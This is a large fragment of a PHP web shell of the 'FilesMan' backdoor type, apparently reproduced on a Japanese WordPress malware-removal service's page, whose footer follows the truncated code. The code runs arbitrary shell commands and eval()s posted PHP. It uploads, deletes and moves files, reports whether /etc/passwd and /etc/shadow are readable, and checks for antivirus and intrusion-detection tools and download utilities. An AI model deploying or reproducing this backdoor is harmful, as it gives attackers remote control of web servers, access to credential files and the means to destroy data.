        <td><form onSubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?php 
        echo $is_writable;
        ?></td> 
        <td><form onSubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?php 
        echo $is_writable;
        ?></td> 
    </tr> 
    <tr> 
        <td><form onSubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td> 
        <td><form method='post' ENCTYPE='multipart/form-data'> 
        <input type=hidden name=a value='FilesMAn'> 
        <input type=hidden name=c value='<?php 
        echo htmlspecialchars($GLOBALS['cwd']);
        ?>'> 
        <input type=hidden name=p1 value='uploadFile'> 
        <input type=hidden name=charset value='<?php 
        echo isset($_POST['charset']) ? $_POST['charset'] : '';
        ?>'> 
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?php 
        echo $is_writable;
        ?></td> 
    </tr> 

</table> 
</div> 
</body></html> 
<?php 
    }
    if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    function ex($in)
    {
        $out = '';
        if (function_exists('exec')) {
            @exec($in, $out);
            $out = @join("\n", $out);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $out = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $out = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $out = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $out = "";
            while (!@feof($f)) {
                $out .= fread($f, 1024);
            }
            pclose($f);
        }
        return $out;
    }
    function viewSize($s)
    {
        if ($s >= 1073741824) {
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        } elseif ($s >= 1048576) {
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        } elseif ($s >= 1024) {
            return sprintf('%1.2f', $s / 1024) . ' KB';
        } else {
            return $s . ' B';
        }
    }
    function perms($p)
    {
        if (($p & 0xc000) == 0xc000) {
            $i = 's';
        } elseif (($p & 0xa000) == 0xa000) {
            $i = 'l';
        } elseif (($p & 0x8000) == 0x8000) {
            $i = '-';
        } elseif (($p & 0x6000) == 0x6000) {
            $i = 'b';
        } elseif (($p & 0x4000) == 0x4000) {
            $i = 'd';
        } elseif (($p & 0x2000) == 0x2000) {
            $i = 'c';
        } elseif (($p & 0x1000) == 0x1000) {
            $i = 'p';
        } else {
            $i = 'u';
        }
        $i .= $p & 0x100 ? 'r' : '-';
        $i .= $p & 0x80 ? 'w' : '-';
        $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
        $i .= $p & 0x20 ? 'r' : '-';
        $i .= $p & 0x10 ? 'w' : '-';
        $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
        $i .= $p & 0x4 ? 'r' : '-';
        $i .= $p & 0x2 ? 'w' : '-';
        $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
        return $i;
    }
    function viewPermsColor($f)
    {
        if (!@is_readable($f)) {
            return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
        } elseif (!@is_writable($f)) {
            return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
        } else {
            return '<font color=#00BB00><b>' . perms(@fileperms($f)) . '</b></font>';
        }
    }
    if (!function_exists("scandir")) {
        function scandir($dir)
        {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh))) {
                $files[] = $filename;
            }
            return $files;
        }
    }
    function which($p)
    {
        $path = ex('which ' . $p);
        if (!empty($path)) {
            return $path;
        }
        return false;
    }
    function actionSecInfo()
    {
        printHeader();
        echo '<h1>Server security information</h1><div class=content>';
        function showSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "\n") === false) {
                    echo $v . '<br>';
                } else {
                    echo '<pre class=ml1>' . $v . '</pre>';
                }
            }
        }
        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        showSecParam('Open base dir', @ini_get('open_basedir'));
        showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info')) {
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        }
        if (function_exists('mssql_connect')) {
            $temp[] = "MSSQL";
        }
        if (function_exists('pg_connect')) {
            $temp[] = "PostgreSQL";
        }
        if (function_exists('oci_connect')) {
            $temp[] = "Oracle";
        }
        showSecParam('Supported databases', implode(', ', $temp));
        echo '<br>';
        if ($GLOBALS['os'] == 'nix') {
            $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
            $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
            $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>" : 'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                echo '<br>';
                $temp = array();
                foreach ($userful as $item) {
                    if (which($item)) {
                        $temp[] = $item;
                    }
                }
                showSecParam('Userful', implode(', ', $temp));
                $temp = array();
                foreach ($danger as $item) {
                    if (which($item)) {
                        $temp[] = $item;
                    }
                }
                showSecParam('Danger', implode(', ', $temp));
                $temp = array();
                foreach ($downloaders as $item) {
                    if (which($item)) {
                        $temp[] = $item;
                    }
                }
                showSecParam('Downloaders', implode(', ', $temp));
                echo '<br/>';
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
        } else {
            showSecParam('OS Version', ex('ver'));
            showSecParam('Account Settings', ex('net accounts'));
            showSecParam('User Accounts', ex('net user'));
        }
        echo '</div>';
        printFooter();
    }
    function actionPhp()
    {
        if (isset($_POST['ajax'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
            ob_start();
            eval($_POST['p1']);
            $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        printHeader();
        if (isset($_POST['p2']) && $_POST['p2'] == 'info') {
            echo '<h1>PHP info</h1><div class=content>';
            ob_start();
            phpinfo();
            $tmp = ob_get_clean();
            $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!a:\\w+ {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
            $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
            $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
            echo $tmp;
            echo '</div><br>';
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
        }
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
        echo ' <input type=checkbox name=ajax value=1 ' . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
        if (!empty($_POST['p1'])) {
            ob_start();
            eval($_POST['p1']);
            echo htmlspecialchars(ob_get_clean());
        }
        echo '</pre></div>';
        printFooter();
    }
    function actionFilesMan()
    {
        printHeader();
        echo '<h1>File manager</h1><div class=content>';
        if (isset($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                        echo "Can't upload file!";
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2'])) {
                        echo "Can't create new dir";
                    }
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = substr($path, 1) == '/' ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($item = readdir($dh)) !== false) {
                            $item = $path . $item;
                            if (basename($item) == ".." || basename($item) == ".") {
                                continue;
                            }
                            $type = filetype($item);
                            if ($type == "dir") {
                                deleteDir($item);
                            } else {
                                @unlink($item);
                            }
                        }
                        closedir($dh);
                        rmdir($path);
                    }
                    if (is_array(@$_POST['f'])) {
                        foreach ($_POST['f'] as $f) {
                            $f = urldecode($f);
                            if (is_dir($f)) {
                                deleteDir($f);
                            } else {
                                @unlink($f);
                            }
                        }
                    }
                    break;
                case 'paste':
                    if ($_SESSION['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = opendir($c . $s);
                                while (($f = readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_SESSION['f'] as $f) {
                            copy_paste($_SESSION['cwd'], $f, $GLOBALS['cwd']);
                        }
                    } elseif ($_SESSION['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = opendir($c . $s);
                                while (($f = readdir($h)) !== false) {
                                    if ($f != "." and $f != "..") {
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                                    }
                                }
                            } elseif (is_file($c . $s)) {
                                @copy($c . $s, $d . $s);
                            }
                        }
                        foreach ($_SESSION['f'] as $f) {
                            @rename($_SESSION['cwd'] . $f, $GLOBALS['cwd'] . $f);
                        }
                    }
                    unset($_SESSION['f']);
                    break;
                default:
                    if (!empty($_POST['p1']) && ($_POST['p1'] == 'copy' || $_POST['p1'] == 'move')) {
                        $_SESSION['act'] = @$_POST['p1'];
                        $_SESSION['f'] = @$_POST['f'];
                        foreach ($_SESSION['f'] as $k => $f) {
                            $_SESSION['f'][$k] = urldecode($f);
                        }
                        $_SESSION['cwd'] = @$_POST['c'];
                    }
                    break;
            }
            echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
        }
        $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo 'Can\'t open this folder!';
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                $sort = array($match[1], (int) $match[2]);
            }
        }
        ?> 
<script> 
    function sa() { 
        for(i=0;i<document.files.elements.length;i++) 
            if(document.files.elements[i].type == 'checkbox') 
                document.files.elements[i].checked = document.files.elements[0].checked; 
    } 
</script> 
<table width='100%' class='main' cellspacing='0' cellpadding='2'> 
<form name=files method=post> 
<?php 
        echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = $links = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                $files[] = array_merge($tmp, array('type' => 'file'));
            } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                $links[] = array_merge($tmp, array('type' => 'link'));
            } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
            }
        }
        $GLOBALS['sort'] = $sort;
        function cmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size') {
                return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]]) * ($GLOBALS['sort'][1] ? 1 : 1);
            } else {
                return ($a['size'] < $b['size'] ? 1 : 1) * ($GLOBALS['sort'][1] ? 1 : 1);
            }
        }
        usort($files, "cmp");
        usort($dirs, "cmp");
        usort($links, "cmp");
        $files = array_merge($dirs, $links, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.